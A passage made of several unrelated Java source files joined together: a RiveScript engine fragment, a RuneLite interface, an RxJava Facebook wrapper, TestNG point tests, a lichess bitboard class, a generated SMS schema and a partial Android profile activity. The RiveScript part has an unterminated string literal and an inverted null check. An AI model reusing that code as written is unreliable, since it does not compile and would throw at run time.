for (int i = 1; i <= HISTORY_SIZE; i++) {
String inputPattern = "<input" + i + ">";
String replyPattern = "<reply" + i + ">";
History history = this.sessions.getHistory(username);
if (history == null) {
pattern = pattern.replace(inputPattern, history.getInput(i - 1));
pattern = pattern.replace(replyPattern, history.getReply(i - 1));
} else {
pattern = pattern.replace(inputPattern, UNDEFINED);
pattern = pattern.replace(replyPattern, UNDEFINED);
}
}
}
// Recover escaped Unicode symbols.
if (this.utf8) {
pattern = pattern.replaceAll("\\u0040", "@");
}
return pattern;
}
/**
* Returns whether a trigger is atomic or not.
*
* @param pattern the pattern
* @return whether the pattern is atmonic or not
*/
private boolean isAtomic(String pattern) {
// Atomic triggers don't contain any wildcards or parenthesis or anything of the sort.
// We don't need to test the full character set, just left brackets will do.
List<String> specials = Arrays.asList("*", "
for (String special : specials) {
if (pattern.contains(special)) {
return false;
}
}
return true;
}
/*-- User Methods --*/
/**
* Sets a user variable.
* <p>
* This is equivalent to {@code <set>} in RiveScript. Set the value to {@code null} to delete a user variable.
*
* @param username the username
* @param name the variable name
* @param value the variable value
*/
public void setUservar(String username, String name, String value) {
sessions.set(username, name, value);
}
/**
* Set a user's variables.
* <p>
* Set multiple user variables by providing a {@link Map} of key/value pairs.
* Equivalent to calling {@link #setUservar(String, String, String)} for each pair in the map.
*
* @param username the name
* @param vars the user variables
*/
public void setUservars(String username, Map<String, String> vars) {
sessions.set(username, vars);
}
/**
* Returns a user variable.
* <p>
* This is equivalent to {@code <get name>} in RiveScript. Returns {@code null} if the variable isn't defined.
*
* @param username the username
* @param name the variable name
* @return the variable value
*/
public String getUservar(String username, String name) {
return sessions.get(username, name);
}
/**
* Returns all variables for a user.
*
* @param username the username
* @return the variables
*/
public UserData getUservars(String username) {
return sessions.get(username);
}
/**
* Clears all variables for all users.
*/
public void clearAllUservars() {
this.sessions.clearAll();
}
/**
* Clears a user's variables.
*
* @param username the username
*/
public void clearUservars(String username) {
sessions.clear(username);
}
/**
* Makes a snapshot of a user's variables.
*
* @param username the username
*/
public void freezeUservars(String username) {
sessions.freeze(username);
}
/**
* Unfreezes a user's variables.
*
* @param username the username
* @param action the thaw action
* @see ThawAction
*/
public void thawUservars(String username, ThawAction action) {
sessions.thaw(username, action);
}
/**
* Returns a user's last matched trigger.
*
* @param username the username
* @return the last matched trigger
*/
public String lastMatch(String username) {
return sessions.getLastMatch(username);
}
/**
* Returns the current user's ID.
* <p>
* This is only useful from within a (Java) object macro, to get the ID of the user who invoked the macro.
* This value is set at the beginning of {@link #reply(String, String)} and unset at the end, so this method will return {@code null}
* outside of a reply context.
*
* @return the user's ID or {@code null}
*/
public String currentUser() {
return currentUser.get();
}
/*-- Developer Methods --*/
/**
* Dumps the trigger sort buffers to the standard output stream.
*/
public void dumpSorted() {
dumpSorted(sorted.getTopics(), "Topics");
dumpSorted(sorted.getThats(), "Thats");
dumpSortedList(sorted.getSub(), "Substitutions");
dumpSortedList(sorted.getPerson(), "Person Substitutions");
}
private void dumpSorted(Map<String, List<SortedTriggerEntry>> tree, String label) {
System.out.println("Sort buffer: " + label);
for (Map.Entry<String, List<SortedTriggerEntry>> entry : tree.entrySet()) {
String topic = entry.getKey();
List<SortedTriggerEntry> data = entry.getValue();
System.out.println(" Topic: " + topic);
for (SortedTriggerEntry trigger : data) {
System.out.println(" + " + trigger.getTrigger());
}
}
}
private void dumpSortedList(List<String> list, String label) {
System.out.println("Sort buffer: " + label);
for (String item : list) {
System.out.println(" " + item);
}
}
/**
* Dumps the entire topic/trigger/reply structure to the standard output stream.
*/
public void dumpTopics() {
for (Map.Entry<String, Topic> entry : topics.entrySet()) {
String topic = entry.getKey();
Topic data = entry.getValue();
System.out.println("Topic: " + topic);
for (Trigger trigger : data.getTriggers()) {
System.out.println(" + " + trigger.getTrigger());
if (trigger.getPrevious() != null) {
System.out.println(" % " + trigger.getPrevious());
}
for (String condition : trigger.getCondition()) {
System.out.println(" * " + condition);
}
for (String reply : trigger.getReply()) {
System.out.println(" - " + reply);
}
if (trigger.getRedirect() != null) {
System.out.println(" @ " + trigger.getRedirect());
}
}
}
}
/**
* Returns the topics.
*
* @return the topics
*/
public Map<String, Topic> getTopics() {
return topics;
}
}
|
package net.runelite.api;
import net.runelite.api.widgets.Widget;
public interface ScriptEvent
{
int MOUSE_X = -2147483647;
int MOUSE_Y = -2147483646;
int MENU_OP = -2147483644;
int WIDGET_ID = -2147483645;
int WIDGET_INDEX = -2147483643;
int WIDGET_TARGET_ID = -2147483642;
int WIDGET_TARGET_INDEX = -2147483641;
int KEY_CODE = -2147483640;
int KEY_CHAR = -2147483639;
String NAME = "event_opbase";
/**
* Gets the widget of the event.
*
* @return the widget
* @see net.runelite.api.widgets.Widget
*/
Widget getSource();
/**
* Gets the menu index of the event
*
* @return the index
*/
int getOp();
/**
* Gets the target of the menu option
*
* @return the target
* @see net.runelite.api.events.MenuOptionClicked
*/
String getOpbase();
/**
* Parent relative x coordinate for mouse related events
*/
int getMouseX();
/**
* Jagex typed keycode
*
* @return
*/
int getTypedKeyCode();
/**
* Get the typed character, ascii.
*
* @return
*/
int getTypedKeyChar();
}
|
package rx.facebook;
//import com.sromku.simple.fb.entities.Attachment;
//import com.sromku.simple.fb.entities.Photo;
//import com.sromku.simple.fb.entities.Post;
//import com.sromku.simple.fb.listeners.OnAttachmentListener;
//import com.sromku.simple.fb.listeners.OnPhotoListener;
//import com.sromku.simple.fb.listeners.OnPostsListener;
import com.sromku.simple.fb.entities.*;
import com.sromku.simple.fb.listeners.*;
import com.sromku.simple.fb.Permission;
import com.sromku.simple.fb.SimpleFacebook;
import static com.sromku.simple.fb.entities.Privacy.PrivacySettings.ALL_FRIENDS;
import static com.sromku.simple.fb.entities.Privacy.PrivacySettings.EVERYONE;
import static com.sromku.simple.fb.entities.Privacy.PrivacySettings.SELF;
import rx.android.schedulers.AndroidSchedulers;
import rx.schedulers.*;
import rx.Observable;
import rx.functions.*;
import rx.subjects.*;
import rx.Subscriber;
import rx.subscriptions.*;
//import rx.android.schedulers.*;
//import rx.android.app.*;
//import rx.android.view.*;
import java.util.List;
import android.app.Activity;
import android.text.TextUtils;
public class FacebookObservable {
/**
*
* @param activity
* @return
*/
public static Observable<SimpleFacebook> login(Activity activity) {
return login(SimpleFacebook.getInstance(activity), activity);
}
public static class NotAcceptingPermissionsException extends RuntimeException {
Permission.Type type;
public NotAcceptingPermissionsException(Permission.Type type) {
super();
this.type = type;
}
public Permission.Type getType() {
return type;
}
}
/**
*
* @param simpleFacebook
* @return
*/
public static Observable<SimpleFacebook> login(SimpleFacebook simpleFacebook) {
return login(simpleFacebook, null);
}
public static Observable<SimpleFacebook> login(SimpleFacebook simpleFacebook, Activity activity) {
return Observable.<SimpleFacebook>create(sub -> {
if (activity != null) {
activity.runOnUiThread(() -> {
simpleFacebook.login(new OnLoginListener() {
@Override
public void onLogin() {
}
@Override
public void onLogin(SimpleFacebook simpleFacebook) {
sub.onNext(simpleFacebook);
sub.onCompleted();
}
@Override
public void onNotAcceptingPermissions(Permission.Type type) {
sub.onError(new NotAcceptingPermissionsException(type));
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
});
} else {
simpleFacebook.login(new OnLoginListener() {
@Override
public void onLogin() {
}
@Override
public void onLogin(SimpleFacebook simpleFacebook) {
sub.onNext(simpleFacebook);
sub.onCompleted();
}
@Override
public void onNotAcceptingPermissions(Permission.Type type) {
sub.onError(new NotAcceptingPermissionsException(type));
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}
//}).subscribeOn(AndroidSchedulers.mainThread());
});
}
/**
*
* @param activity
* @return
*/
public static Observable<Photo> getPhotos(Activity activity) {
return getPhotos(activity, null);
}
/**
*
* @param activity
* @param entityId Profile Album Event Page
* @return
*/
public static Observable<Photo> getPhotos(Activity activity, String entityId) {
return login(activity).flatMap(f -> getPhotos(SimpleFacebook.getInstance(activity), entityId));
}
/**
*
* @param simpleFacebook
* @return
*/
public static Observable<Photo> getPhotos(SimpleFacebook simpleFacebook) {
return getPhotos(simpleFacebook, null);
}
/**
*
* @param simpleFacebook
* @param entityId Profile Album Event Page
* @return
*/
public static Observable<Photo> getPhotos(SimpleFacebook simpleFacebook, String entityId) {
if (entityId == null) {
return Observable.<List<Photo>>create(sub -> {
simpleFacebook.getPhotos(new OnPhotosListener() {
@Override
public void onComplete(List<Photo> photos) {
sub.onNext(photos);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
return Observable.<List<Photo>>create(sub -> {
simpleFacebook.getPhotos(entityId, new OnPhotosListener() {
@Override
public void onComplete(List<Photo> photos) {
sub.onNext(photos);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
/**
*
* @param activity
* @return
*/
public static Observable<Photo> getUploadedPhotos(Activity activity) {
return getUploadedPhotos(SimpleFacebook.getInstance(activity));
}
/**
*
* @param simpleFacebook
* @return
*/
public static Observable<Photo> getUploadedPhotos(SimpleFacebook simpleFacebook) {
return Observable.<List<Photo>>create(sub -> {
simpleFacebook.getUploadedPhotos(new OnPhotosListener() {
@Override
public void onComplete(List<Photo> photos) {
sub.onNext(photos);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
/**
*
* @param activity
* @param attachment
* @return
*/
public static Observable<Photo> getPhoto(Activity activity, Attachment attachment) {
return getPhoto(SimpleFacebook.getInstance(activity), attachment);
}
/**
*
* @param simpleFacebook
* @param attachment
* @return
*/
public static Observable<Photo> getPhoto(SimpleFacebook simpleFacebook, Attachment attachment) {
if (TextUtils.isEmpty(attachment.getTarget().getId())) return Observable.empty();
return Observable.<Photo>create(sub -> {
simpleFacebook.getPhoto(attachment.getTarget().getId(), new OnPhotoListener() {
@Override
public void onComplete(Photo photo) {
sub.onNext(photo);
sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).subscribeOn(AndroidSchedulers.mainThread());
}
/**
*
* @param activity
* @return
*/
public static Observable<Post> getPosts(Activity activity) {
return getPosts(activity, null, null);
}
/**
*
* @param entityId Profile Event Group Page
* @return
*/
public static Observable<Post> getPosts(Activity activity, String entityId) {
return getPosts(activity, entityId, null);
}
/**
*
* @param activity
* @param type
* @return
*/
public static Observable<Post> getPosts(Activity activity, Post.PostType type) {
return getPosts(activity, null, type);
}
/**
*
* @param activity
* @param entityId Profile Event Group Page
* @param type
* @return
*/
public static Observable<Post> getPosts(Activity activity, String entityId, Post.PostType type) {
return login(activity).flatMap(f -> getPosts(SimpleFacebook.getInstance(activity), entityId, type, activity));
}
/**
*
* @param simpleFacebook
* @param entityId Profile Event Group Page
* @return Observable<Post>
*/
public static Observable<Post> getPosts(SimpleFacebook simpleFacebook, String entityId) {
return getPosts(simpleFacebook, entityId, null, null);
}
/*
public static OnPostsListener getOnPostsListener() {
new OnPostsListener() {
@Override
public void onComplete(List<Post> posts) {
sub.onNext(posts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}
}
*/
/**
*
* @param simpleFacebook
* @param entityId Profile Event Group Page
* @param type
* @return
*/
public static Observable<Post> getPosts(SimpleFacebook simpleFacebook, String entityId, Post.PostType type, Activity activity) {
if (type == null) type = Post.PostType.POSTS;
final Post.PostType finalType = type;
if (entityId == null) {
if (activity != null) {
return Observable.<List<Post>>create(sub -> {
activity.runOnUiThread(() -> {
simpleFacebook.getPosts(finalType, new OnPostsListener() {
@Override
public void onComplete(List<Post> posts) {
sub.onNext(posts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
});
}).flatMap(Observable::from);
} else {
return Observable.<List<Post>>create(sub -> {
simpleFacebook.getPosts(finalType, new OnPostsListener() {
@Override
public void onComplete(List<Post> posts) {
sub.onNext(posts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
}
// assert(finalType != null && entityId != null);
if (activity != null) {
return Observable.<List<Post>>create(sub -> {
activity.runOnUiThread(() -> {
simpleFacebook.getPosts(entityId, finalType, new OnPostsListener() {
@Override
public void onComplete(List<Post> posts) {
sub.onNext(posts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
});
}).flatMap(Observable::from);
} else {
return Observable.<List<Post>>create(sub -> {
simpleFacebook.getPosts(entityId, finalType, new OnPostsListener() {
@Override
public void onComplete(List<Post> posts) {
sub.onNext(posts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
}
/**
*
* @param simpleFacebook
* @return
*/
public static Observable<Post> getPosts(SimpleFacebook simpleFacebook) {
return getPosts(simpleFacebook, (Post.PostType) null);
}
/**
*
* @param simpleFacebook
* @param type
* @return
*/
public static Observable<Post> getPosts(SimpleFacebook simpleFacebook, Post.PostType type) {
return getPosts(simpleFacebook, null, null, null);
}
/**
*
* @param activity
* @param post
* @return
*/
public static Observable<Attachment> getAttachment(Activity activity, Post post) {
return login(activity).flatMap(f -> getAttachment(SimpleFacebook.getInstance(activity), post, activity));
}
/**
*
* @param simpleFacebook
* @param post
* @return
*/
public static Observable<Attachment> getAttachment(SimpleFacebook simpleFacebook, Post post) {
return getAttachment(simpleFacebook, post, null);
}
public static Observable<Attachment> getAttachment(SimpleFacebook simpleFacebook, Post post, Activity activity) {
if (TextUtils.isEmpty(post.getId())) return Observable.empty();
return Observable.<Attachment>create(sub -> {
activity.runOnUiThread(() -> {
simpleFacebook.getAttachment(post.getId(), new OnAttachmentListener() {
@Override
public void onComplete(Attachment attachment) {
sub.onNext(attachment);
sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
});
});
}
/**
*
* @param activity
* @return
*/
public static Observable<Account> getAccounts(Activity activity) {
return getAccounts(SimpleFacebook.getInstance(activity));
}
/**
* Get pages of which the current user is an admin.
* @param simpleFacebook
* @return
*/
public static Observable<Account> getAccounts(SimpleFacebook simpleFacebook) {
return Observable.<List<Account>>create(sub -> {
simpleFacebook.getAccounts(new OnAccountsListener() {
@Override
public void onComplete(List<Account> accounts) {
sub.onNext(accounts);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
/**
* Get all albums
* @param activity
* @return
*/
public static Observable<Album> getAlbums(Activity activity) {
return getAlbums(activity, null);
}
/**
* Get all albums
* @param activity
* @param entityId Profile Page
* @return
*/
public static Observable<Album> getAlbums(Activity activity, String entityId) {
return getAlbums(SimpleFacebook.getInstance(activity), entityId);
}
/**
* Get all albums
* @param simpleFacebook
* @return
*/
public static Observable<Album> getAlbums(SimpleFacebook simpleFacebook) {
return getAlbums(simpleFacebook, null);
}
/**
* Get all albums
* @param simpleFacebook
* @param entityId Profile Page
* @return
*/
public static Observable<Album> getAlbums(SimpleFacebook simpleFacebook, String entityId) {
if (entityId == null) {
return Observable.<List<Album>>create(sub -> {
simpleFacebook.getAlbums(new OnAlbumsListener() {
@Override
public void onComplete(List<Album> albums) {
sub.onNext(albums);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
return Observable.<List<Album>>create(sub -> {
simpleFacebook.getAlbums(entityId, new OnAlbumsListener() {
@Override
public void onComplete(List<Album> albums) {
sub.onNext(albums);
if (hasNext()) getNext();
else sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
}).flatMap(Observable::from).subscribeOn(AndroidSchedulers.mainThread());
}
/*
public static Observable<Album> getAlbum(Activity activity) {
return getAlbum(activity, null);
}
*/
/**
* Get one album
* @param activity
* @param albumId
* @return
*/
public static Observable<Album> getAlbum(Activity activity, String albumId) {
return getAlbum(SimpleFacebook.getInstance(activity), albumId);
}
/*
public static Observable<Album> getAlbum(SimpleFacebook simpleFacebook) {
return getAlbum(simpleFacebook, null);
}
*/
/**
* Get one album
* @param simpleFacebook
* @param albumId
* @return
*/
public static Observable<Album> getAlbum(SimpleFacebook simpleFacebook, String albumId) {
return Observable.create(sub -> {
simpleFacebook.getAlbum(albumId, new OnAlbumListener() {
@Override
public void onComplete(Album album) {
sub.onNext(album);
sub.onCompleted();
}
@Override
public void onThinking() {
// TODO
}
@Override
public void onFail(String reason) {
sub.onError(new RuntimeException(reason));
}
@Override
public void onException(Throwable throwable) {
sub.onError(throwable);
}
});
});
}
}
|
package ua.qa.training.sandbox;
import org.testng.Assert;
import org.testng.annotations.Test;
public class PointTests {
@Test
public void testDistanceToPoint() {
Point p1 = new Point(3, 5);
Point p2 = new Point(6, 7);
Assert.assertEquals(Math.round(p1.distanceToPoint(p2)), 4);
}
@Test
public void testDistanceToPoint1() {
Point p1 = new Point(3, 5);
Point p2 = new Point(6, 7);
Assert.assertTrue((Math.abs(p1.distanceToPoint(p2)) - 3.6) < 0.01);
}
@Test
public void testDistanceToItself() {
Point p = new Point(4, 5);
Assert.assertEquals(p.distanceToPoint(p), 0.0);
}
@Test
public void testDistancePosAndNegCoordinates() {
Point p1 = new Point(4, 5);
Point p2 = new Point(-4, -5);
Assert.assertEquals(Math.round(p1.distanceToPoint(p2)), 13);
}
@Test
public void testDistanceToBothSides(){
Point p1 = new Point(3, 5);
Point p2 = new Point(6, 7);
Assert.assertEquals (p1.distanceToPoint(p2),p2.distanceToPoint(p1));
}
}
|
package org.lichess.compression.game;
import java.util.Set;
import java.util.HashSet;
class Bitboard {
public static final long ALL = -1;
public static final long RANKS[] = new long[8];
public static final long FILES[] = new long[8];
private static final int KNIGHT_DELTAS[] = { 17, 15, 10, 6, -17, -15, -10, -6 };
private static final int BISHOP_DELTAS[] = { 7, -7, 9, -9 };
private static final int ROOK_DELTAS[] = { 1, -1, 8, -8 };
private static final int KING_DELTAS[] = { 1, 7, 8, 9, -1, -7, -8, -9 };
private static final int WHITE_PAWN_DELTAS[] = { 7, 9 };
private static final int BLACK_PAWN_DELTAS[] = { -7, -9 };
public static final long KNIGHT_ATTACKS[] = new long[64];
public static final long KING_ATTACKS[] = new long[64];
public static final long WHITE_PAWN_ATTACKS[] = new long[64];
public static final long BLACK_PAWN_ATTACKS[] = new long[64];
public static final long BETWEEN[][] = new long[64][64];
public static final long RAYS[][] = new long[64][64];
// Large overlapping attack table indexed using magic multiplication.
private static final long ATTACKS[] = new long[88772];
// Slow attack set generation. Used only to bootstrap the attack tables.
private static long slidingAttacks(int square, long occupied, int[] deltas) {
long attacks = 0;
for (int delta: deltas) {
int sq = square;
do {
sq += delta;
if (sq < 0 || 64 <= sq || Square.distance(sq, sq - delta) > 2) break;
attacks |= 1L << sq;
} while (!Bitboard.contains(occupied, sq));
}
return attacks;
}
private static void initMagics(int square, Magic magic, int shift, int[] deltas) {
long subset = 0;
do {
long attack = slidingAttacks(square, subset, deltas);
int idx = (int) ((magic.factor * subset) >>> (64 - shift)) + magic.offset;
assert ATTACKS[idx] == 0 || ATTACKS[idx] == attack;
ATTACKS[idx] = attack;
// Carry-rippler trick for enumerating subsets.
subset = (subset - magic.mask) & magic.mask;
} while (subset != 0);
}
static {
for (int i = 0; i < 8; i++) {
RANKS[i] = 0xffL << (i * 8);
FILES[i] = 0x0101010101010101L << i;
}
for (int sq = 0; sq < 64; sq++) {
KNIGHT_ATTACKS[sq] = slidingAttacks(sq, Bitboard.ALL, KNIGHT_DELTAS);
KING_ATTACKS[sq] = slidingAttacks(sq, Bitboard.ALL, KING_DELTAS);
WHITE_PAWN_ATTACKS[sq] = slidingAttacks(sq, Bitboard.ALL, WHITE_PAWN_DELTAS);
BLACK_PAWN_ATTACKS[sq] = slidingAttacks(sq, Bitboard.ALL, BLACK_PAWN_DELTAS);
initMagics(sq, Magic.ROOK[sq], 12, ROOK_DELTAS);
initMagics(sq, Magic.BISHOP[sq], 9, BISHOP_DELTAS);
}
for (int a = 0; a < 64; a++) {
for (int b = 0; b < 64; b++) {
if (Bitboard.contains(slidingAttacks(a, 0, ROOK_DELTAS), b)) {
BETWEEN[a][b] =
slidingAttacks(a, 1L << b, ROOK_DELTAS) &
slidingAttacks(b, 1L << a, ROOK_DELTAS);
RAYS[a][b] =
(1L << a) | (1L << b) |
slidingAttacks(a, 0, ROOK_DELTAS) &
slidingAttacks(b, 0, ROOK_DELTAS);
} else if (Bitboard.contains(slidingAttacks(a, 0, BISHOP_DELTAS), b) ) {
BETWEEN[a][b] =
slidingAttacks(a, 1L << b, BISHOP_DELTAS) &
slidingAttacks(b, 1L << a, BISHOP_DELTAS);
RAYS[a][b] =
(1L << a) | (1L << b) |
slidingAttacks(a, 0, BISHOP_DELTAS) &
slidingAttacks(b, 0, BISHOP_DELTAS);
}
}
}
}
public static long bishopAttacks(int square, long occupied) {
Magic magic = Magic.BISHOP[square];
return ATTACKS[((int) (magic.factor * (occupied & magic.mask) >>> (64 - 9)) + magic.offset)];
}
public static long rookAttacks(int square, long occupied) {
Magic magic = Magic.ROOK[square];
return ATTACKS[((int) (magic.factor * (occupied & magic.mask) >>> (64 - 12)) + magic.offset)];
}
public static long queenAttacks(int square, long occupied) {
return bishopAttacks(square, occupied) ^ rookAttacks(square, occupied);
}
public static long pawnAttacks(boolean white, int square) {
return (white ? WHITE_PAWN_ATTACKS : BLACK_PAWN_ATTACKS)[square];
}
public static int lsb(long b) {
assert b != 0;
return Long.numberOfTrailingZeros(b);
}
public static int msb(long b) {
assert b != 0;
return 63 - Long.numberOfLeadingZeros(b);
}
public static boolean moreThanOne(long b) {
return (b & (b - 1L)) != 0;
}
public static boolean contains(long b, int sq) {
return (b & (1L << sq)) != 0;
}
public static Set<Integer> squareSet(long b) {
HashSet<Integer> set = new HashSet<Integer>();
while (b != 0) {
int sq = lsb(b);
set.add(sq);
b ^= 1L << sq;
}
return set;
}
}
|
// THIS IS GENERATED CODE, MAKE SURE ANY CHANGES MADE HERE ARE PROPAGATED INTO THE GENERATOR TEMPLATES
package mil.darpa.transapp.ammo.sms.provider;
import android.net.Uri;
import android.provider.BaseColumns;
import android.content.ContentResolver;
import android.database.Cursor;
public abstract class SmsSchemaBase {
public static final String AUTHORITY = "mil.darpa.transapp.ammo.sms.provider.smsprovider";
public static final String DATABASE_NAME = "sms.db";
public static final int _DISPOSITION_START = 0;
public static final int _DISPOSITION_SEND = 1;
public static final int _DISPOSITION_RECV = 2;
public static final int _DISPOSITION_COMPLETE = 3;
protected SmsSchemaBase() {}
// BEGIN CUSTOM Sms CONSTANTS
// END CUSTOM Sms CONSTANTS
public static final String[] MESSAGE_CURSOR_COLUMNS = new String[] {
MessageTableSchemaBase.FROM ,
MessageTableSchemaBase.TO ,
MessageTableSchemaBase.THREAD ,
MessageTableSchemaBase.PAYLOAD
};
public static class MessageTableSchemaBase implements BaseColumns {
protected MessageTableSchemaBase() {} // No instantiation.
/**
* The content:// style URL for this table
*/
public static final Uri CONTENT_URI =
Uri.parse("content://"+AUTHORITY+"/message");
public static Uri getUri(Cursor cursor) {
Integer id = cursor.getInt(cursor.getColumnIndex(BaseColumns._ID));
return Uri.withAppendedPath(MessageTableSchemaBase.CONTENT_URI, id.toString());
}
/**
* The MIME type of {@link #CONTENT_URI} providing a directory
*/
public static final String CONTENT_TYPE =
ContentResolver.CURSOR_DIR_BASE_TYPE+"/vnd.mil.darpa.transapp.ammo.sms.message";
/**
* A mime type used for publisher subscriber.
*/
public static final String CONTENT_TOPIC =
"application/vnd.mil.darpa.transapp.ammo.sms.message";
/**
* The MIME type of a {@link #CONTENT_URI} sub-directory of a single message entry.
*/
public static final String CONTENT_ITEM_TYPE =
ContentResolver.CURSOR_ITEM_BASE_TYPE+"/vnd.mil.darpa.transapp.ammo.sms.message";
public static final String DEFAULT_SORT_ORDER = ""; //"modified_date DESC";
/**
* Description: Who the message is from.
* <P>Type: TEXT</P>
*/
public static final String FROM = "from";
/**
* Description: Who the message is to.
* <P>Type: TEXT</P>
*/
public static final String TO = "to";
/**
* Description: The message thread id of a conversation
* <P>Type: LONG</P>
*/
public static final String THREAD = "thread";
/**
* Description: The content of the message.
* <P>Type: TEXT</P>
*/
public static final String PAYLOAD = "payload";
public static final String _DISPOSITION = "_disp";
// BEGIN CUSTOM MESSAGE_SCHEMA PROPERTIES
// END CUSTOM MESSAGE_SCHEMA PROPERTIES
}
}
|
package net.somethingdreadful.MAL;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.Color;
import android.net.Uri;
import android.os.Bundle;
import android.support.v7.app.ActionBar;
import android.support.v7.app.ActionBarActivity;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.ViewFlipper;
import com.crashlytics.android.Crashlytics;
import com.squareup.picasso.Callback;
import com.squareup.picasso.Picasso;
import net.somethingdreadful.MAL.account.AccountService;
import net.somethingdreadful.MAL.api.MALApi;
import net.somethingdreadful.MAL.api.response.User;
import net.somethingdreadful.MAL.tasks.UserNetworkTask;
import net.somethingdreadful.MAL.tasks.UserNetworkTaskFinishedListener;
import org.apache.commons.lang3.text.WordUtils;
import de.keyboardsurfer.android.widget.crouton.Crouton;
import de.keyboardsurfer.android.widget.crouton.Style;
public class ProfileActivity extends ActionBarActivity implements UserNetworkTaskFinishedListener {
Context context;
PrefManager prefs;
Card imagecard;
Card animecard;
Card mangacard;
User record;
ViewFlipper viewFlipper;
boolean forcesync = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_profile);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null)
actionBar.setDisplayHomeAsUpEnabled(true);
context = getApplicationContext();
prefs = new PrefManager(context);
imagecard = ((Card) findViewById(R.id.name_card));
imagecard.setContent(R.layout.card_profile_image);
((Card) findViewById(R.id.details_card)).setContent(R.layout.card_profile_details);
animecard = (Card) findViewById(R.id.Anime_card);
animecard.setContent(R.layout.card_profile_anime);
mangacard = (Card) findViewById(R.id.Manga_card);
mangacard.setContent(R.layout.card_profile_manga);
viewFlipper = (ViewFlipper) findViewById(R.id.viewFlipper);
setTitle(R.string.title_activity_profile); //set title
if (getIntent().getExtras().containsKey("user")) {
record = (User) getIntent().getExtras().get("user");
refresh(forcesync);
} else {
toggleLoadingIndicator(true);
new UserNetworkTask(context, forcesync, this).execute(getIntent().getStringExtra("username"));
}
TextView tv25 = (TextView) findViewById(R.id.websitesmall);
tv25.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Uri webstiteclick = Uri.parse(record.getProfile().getDetails().getWebsite());
startActivity(new Intent(Intent.ACTION_VIEW, webstiteclick));
}
});
NfcHelper.disableBeam(this);
}
public boolean onCreateOptionsMenu(android.view.Menu menu) {
getMenuInflater().inflate(R.menu.activity_profile_view, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(android.view.MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:
finish();
break;
case R.id.forceSync:
if (MALApi.isNetworkAvailable(context)) {
Crouton.makeText(this, R.string.crouton_info_SyncMessage, Style.INFO).show();
forcesync = true;
String username;
if (record != null)
username = record.getName();
else
username = getIntent().getStringExtra("username");
new UserNetworkTask(context, forcesync, this).execute(username);
} else {
Crouton.makeText(this, R.string.crouton_error_noConnectivity, Style.ALERT).show();
}
break;
case R.id.action_ViewMALPage:
Uri malurl = Uri.parse("http://myanimelist.net/profile/" + record.getName());
startActivity(new Intent(Intent.ACTION_VIEW, malurl));
break;
case R.id.View:
choosedialog(false);
break;
case R.id.Share:
choosedialog(true);
}
return true;
}
public void card() { //settings for hide a card and text userprofile
if (prefs.getHideAnime()) {
animecard.setVisibility(View.GONE);
}
if (prefs.getHideManga()) {
mangacard.setVisibility(View.GONE);
}
if (prefs.getHideAnimeManga() && record.getProfile().getMangaStats().getTotalEntries() < 1) { //if manga (total entry) is beneath the int then hide
mangacard.setVisibility(View.GONE);
}
if (prefs.getHideAnimeManga() && record.getProfile().getAnimeStats().getTotalEntries() < 1) { //if anime (total entry) is beneath the int then hide
animecard.setVisibility(View.GONE);
}
Card namecard = (Card) findViewById(R.id.name_card);
namecard.Header.setText(WordUtils.capitalize(record.getName()));
}
public void setcolor() {
